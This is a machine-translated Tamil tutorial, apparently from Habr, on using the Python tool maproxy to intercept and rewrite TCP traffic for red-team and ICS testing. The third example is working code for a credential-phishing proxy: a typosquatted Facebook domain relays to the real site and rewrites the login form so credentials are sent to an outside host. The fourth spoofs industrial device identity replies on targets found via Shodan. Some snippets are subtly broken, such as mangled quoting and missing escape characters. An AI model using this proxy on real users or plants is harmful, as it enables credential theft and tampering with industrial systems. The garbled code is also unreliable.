இக்கட்டுரையின் மொழியாக்கம் பாடநெறி தொடங்கும் தினத்தன்று தயாரிக்கப்பட்டது
சிறுகுறிப்பு
வழக்கமான ஊடுருவல் சோதனை மற்றும் ரெட் டீம் செயல்பாடுகள் முதல் IoT/ICS சாதனங்கள் மற்றும் SCADA ஐ ஹேக்கிங் செய்வது வரையிலான பல்வேறு வகையான பாதுகாப்பு மதிப்பீடுகள், பைனரி நெட்வொர்க் புரோட்டோகால்களுடன் வேலை செய்வதை உள்ளடக்கியது, அதாவது கிளையன்ட் மற்றும் இலக்குக்கு இடையே நெட்வொர்க் தரவை இடைமறித்து மாற்றியமைத்தல். எங்களிடம் Wireshark, Tcpdump அல்லது Scapy போன்ற கருவிகள் இருப்பதால் நெட்வொர்க் டிராஃபிக்கை மோப்பம் பார்ப்பது கடினமான காரியம் அல்ல, ஆனால் நெட்வொர்க் தரவைப் படிக்க, அதை வடிகட்ட, மாற்றுவதற்கு சில வகையான இடைமுகம் தேவைப்படுவதால், மாற்றியமைப்பது மிகவும் உழைப்பு மிகுந்த பணியாகத் தெரிகிறது. அது பறக்கும் போது மற்றும் கிட்டத்தட்ட உண்மையான நேரத்தில் இலக்கு ஹோஸ்ட்டுக்கு திருப்பி அனுப்பவும். கூடுதலாக, அத்தகைய கருவியானது பல இணை இணைப்புகளுடன் தானாக வேலை செய்து, ஸ்கிரிப்ட்களைப் பயன்படுத்தி தனிப்பயனாக்கக்கூடியதாக இருந்தால் அது சிறந்ததாக இருக்கும்.
ஒரு நாள் நான் ஒரு கருவியைக் கண்டுபிடித்தேன்
, ஆவணங்கள் அதை விரைவாக எனக்கு தெளிவுபடுத்தியது maproxy
- எனக்கு என்ன தேவை. இது மிகவும் எளிமையான, பல்துறை மற்றும் எளிதில் உள்ளமைக்கக்கூடிய TCP ப்ராக்ஸி ஆகும். ICS சாதனங்கள் (நிறைய பாக்கெட்டுகளை உருவாக்கும்) உட்பட பல சிக்கலான பயன்பாடுகளில் இந்தக் கருவியை சோதித்தேன், இது பல இணையான இணைப்புகளைக் கையாள முடியுமா என்பதைப் பார்க்க, மேலும் கருவி சிறப்பாகச் செயல்பட்டது.
இந்த கட்டுரையில் நீங்கள் பயன்படுத்தி நெட்வொர்க் தரவு செயலாக்க அறிமுகப்படுத்தும் maproxy
.
கண்ணோட்டம்
கருவி maproxy
பைத்தானில் பிரபலமான மற்றும் முதிர்ந்த ஒத்திசைவற்ற நெட்வொர்க்கிங் கட்டமைப்பான டொர்னாடோவை அடிப்படையாகக் கொண்டது.
பொதுவாக, இது பல முறைகளில் செயல்பட முடியும்:
TCP:TCP
- மறைகுறியாக்கப்படாத TCP இணைப்புகள்;TCP:SSL
иSSL:TCP
- ஒரு வழி குறியாக்கத்துடன்;SSL:SSL
- இரு வழி குறியாக்கம்.
இது ஒரு நூலகமாக வருகிறது. விரைவான தொடக்கத்திற்கு, பிரதானத்தை பிரதிபலிக்கும் எடுத்துக்காட்டு கோப்புகளைப் பயன்படுத்தலாம்
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
வழக்கு 1 - எளிய இருதரப்பு ப்ராக்ஸி
அடிப்படையில் tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
இயல்பாக ProxyServer()
இரண்டு வாதங்களை எடுக்கும் - இணைப்பு இடம் மற்றும் இலக்கு போர்ட். server.listen()
ஒரு வாதத்தை எடுக்கிறது - உள்வரும் இணைப்பைக் கேட்பதற்கான போர்ட்.
ஸ்கிரிப்டை செயல்படுத்துதல்:
# python tcp2tcp.py
சோதனையை இயக்க, எங்கள் ப்ராக்ஸி ஸ்கிரிப்ட் மூலம் உள்ளூர் SSH சேவையகத்துடன் இணைக்கப் போகிறோம். 2222/tcp
போர்ட் மற்றும் ஒரு நிலையான துறைமுகத்துடன் இணைக்கிறது 22/tcp
SSH சேவையகங்கள்:
எங்கள் எடுத்துக்காட்டு ஸ்கிரிப்ட் நெட்வொர்க் ட்ராஃபிக்கை வெற்றிகரமாக மாற்றியுள்ளது என்பதை வரவேற்பு பேனர் உங்களுக்குத் தெரிவிக்கிறது.
வழக்கு 2 - தரவு மாற்றம்
மற்றொரு டெமோ ஸ்கிரிப்ட் logging_proxy.py
நெட்வொர்க் தரவுகளுடன் தொடர்புகொள்வதற்கு ஏற்றது. கோப்பில் உள்ள கருத்துகள் உங்கள் இலக்கை அடைய நீங்கள் மாற்றக்கூடிய வகுப்பு முறைகளை விவரிக்கிறது:
மிகவும் சுவாரஸ்யமான விஷயம் இங்கே:
on_c2p_done_read
- கிளையண்டிலிருந்து சேவையகத்திற்கு செல்லும் வழியில் தரவை இடைமறிக்க;on_p2s_done_read
- தலைகீழாக.
சேவையகம் கிளையண்டிற்குத் திரும்பும் SSH பேனரை மாற்ற முயற்சிப்போம்:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
ஸ்கிரிப்டை இயக்கவும்:
நீங்கள் பார்க்க முடியும் என, வாடிக்கையாளர் தவறாக வழிநடத்தப்பட்டார், ஏனெனில் அவருக்கான SSH சேவையக பெயர் மாற்றப்பட்டது «DumnySSH»
.
வழக்கு 3 - எளிய ஃபிஷிங் இணையப் பக்கம்
இந்த கருவியைப் பயன்படுத்த முடிவற்ற வழிகள் உள்ளன. இந்த முறை ரெட் டீம் செயல்பாடுகள் பக்கத்திலிருந்து இன்னும் நடைமுறையில் ஏதாவது கவனம் செலுத்துவோம். இறங்கும் பக்கத்தைப் பின்பற்றுவோம் m.facebook.com
வேண்டுமென்றே எழுத்துப் பிழையுடன் தனிப்பயன் டொமைனைப் பயன்படுத்தவும், எடுத்துக்காட்டாக, m.facebok.com
. ஆர்ப்பாட்ட நோக்கங்களுக்காக, டொமைன் எங்களால் பதிவு செய்யப்பட்டுள்ளது என்று வைத்துக்கொள்வோம்.
எங்கள் பாதிக்கப்பட்டவர்களின் ப்ராக்ஸி மற்றும் எஸ்எஸ்எல் ஸ்ட்ரீம் மூலம் மறைகுறியாக்கப்படாத பிணைய இணைப்பை Facebook சேவையகத்திற்கு நிறுவப் போகிறோம் (31.13.81.36
) இந்த எடுத்துக்காட்டை வேலை செய்ய, HTTP ஹோஸ்ட் தலைப்பை மாற்றி சரியான ஹோஸ்ட்பெயரை புகுத்த வேண்டும், மேலும் பதில் சுருக்கத்தையும் முடக்குவோம், அதனால் உள்ளடக்கங்களை எளிதாக அணுகலாம். இறுதியில் HTML படிவத்தை மாற்றுவோம், இதனால் உள்நுழைவு சான்றுகள் Facebook இன் சேவையகங்களுக்கு பதிலாக எங்களுக்கு அனுப்பப்படும்:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ta/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
சுருக்கமாக:
நீங்கள் பார்க்க முடியும் என, அசல் தளத்தை வெற்றிகரமாக மாற்ற முடிந்தது.
வழக்கு 4 - போர்டிங் ஈதர்நெட்/ஐபி
புரோகிராம் செய்யக்கூடிய கன்ட்ரோலர்கள் (பிஎல்சி), ஐ/ஓ மாட்யூல்கள், டிரைவ்கள், ரிலேக்கள், லேடர் புரோகிராமிங் சூழல்கள் மற்றும் பல போன்ற தொழில்துறை சாதனங்கள் மற்றும் மென்பொருளுடன் (ICS/SCADA) சில காலமாக நான் கையாண்டு வருகிறேன். இந்த வழக்கு தொழில்துறை விஷயங்களை விரும்புபவர்களுக்கானது. அத்தகைய தீர்வுகளை ஹேக்கிங் செய்வது நெட்வொர்க் நெறிமுறைகளுடன் தீவிரமாக விளையாடுவதை உள்ளடக்கியது. பின்வரும் எடுத்துக்காட்டில், ICS/SCADA நெட்வொர்க் டிராஃபிக்கை நீங்கள் எவ்வாறு மாற்றலாம் என்பதைக் காட்ட விரும்புகிறேன்.
இதற்கு உங்களுக்கு பின்வருபவை தேவைப்படும்:
- நெட்வொர்க் ஸ்னிஃபர், எடுத்துக்காட்டாக, வயர்ஷார்க்;
- ஈதர்நெட்/ஐபி அல்லது ஒரு SIP சாதனம், ஷோடான் சேவையைப் பயன்படுத்தி அதைக் கண்டறியலாம்;
- எங்கள் ஸ்கிரிப்ட் அடிப்படையாக கொண்டது
maproxy
.
முதலில், CIP (Common Industrial Protocol) இலிருந்து ஒரு பொதுவான அடையாள பதில் எப்படி இருக்கும் என்பதைப் பார்ப்போம்:
ஈத்தர்நெட்/ஐபி நெறிமுறையைப் பயன்படுத்தி சாதன அடையாளம் காணப்படுகிறது, இது தொழில்துறை ஈதர்நெட் நெறிமுறையின் மேம்படுத்தப்பட்ட பதிப்பாகும், இது CIP போன்ற கட்டுப்பாட்டு நெறிமுறைகளை உள்ளடக்கியது. ஸ்கிரீன்ஷாட்டில் தெரியும் ஹைலைட் செய்யப்பட்ட ஐடி பெயரை மாற்றப் போகிறோம் "ஈதர்நெட்டிற்கான NI-IndComm" எங்கள் ப்ராக்ஸி ஸ்கிரிப்டைப் பயன்படுத்தி. நாம் ஸ்கிரிப்டை மீண்டும் பயன்படுத்தலாம் logging_proxy.py
மற்றும் இதேபோல் வகுப்பு முறையை மாற்றவும் on_p2s_done_read
, ஏனென்றால் கிளையண்டில் வேறு அடையாளப் பெயர் தெரிய வேண்டும் என்று நாங்கள் விரும்புகிறோம்.
குறியீடு:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
முக்கியமாக, சாதனத்தை அடையாளங்காணுமாறு நாங்கள் இரண்டு முறை கேட்டோம், இரண்டாவது பதில் அசல் பதில், மற்றும் முதல் பதில் பறக்கும்போது மாற்றப்பட்டது.
மற்றும் கடைசி
என் கருத்து maproxy
ஒரு வசதியான மற்றும் எளிமையான கருவி, இது பைத்தானில் எழுதப்பட்டுள்ளது, எனவே நீங்களும் இதைப் பயன்படுத்தி பயனடையலாம் என்று நான் நம்புகிறேன். நிச்சயமாக, நெட்வொர்க் தரவை செயலாக்குவதற்கும் மாற்றியமைப்பதற்கும் மிகவும் சிக்கலான கருவிகள் உள்ளன, ஆனால் அவற்றுக்கு அதிக கவனம் தேவை மற்றும் பொதுவாக ஒரு குறிப்பிட்ட பயன்பாட்டுக்காக உருவாக்கப்படுகின்றன, எ.கா. maproxy
எடுத்துக்காட்டாக ஸ்கிரிப்டுகள் மிகத் தெளிவாக இருப்பதால், பிணையத் தரவை இடைமறிப்பதற்கான உங்கள் யோசனைகளை விரைவாகச் செயல்படுத்தலாம்.
ஆதாரம்: www.habr.com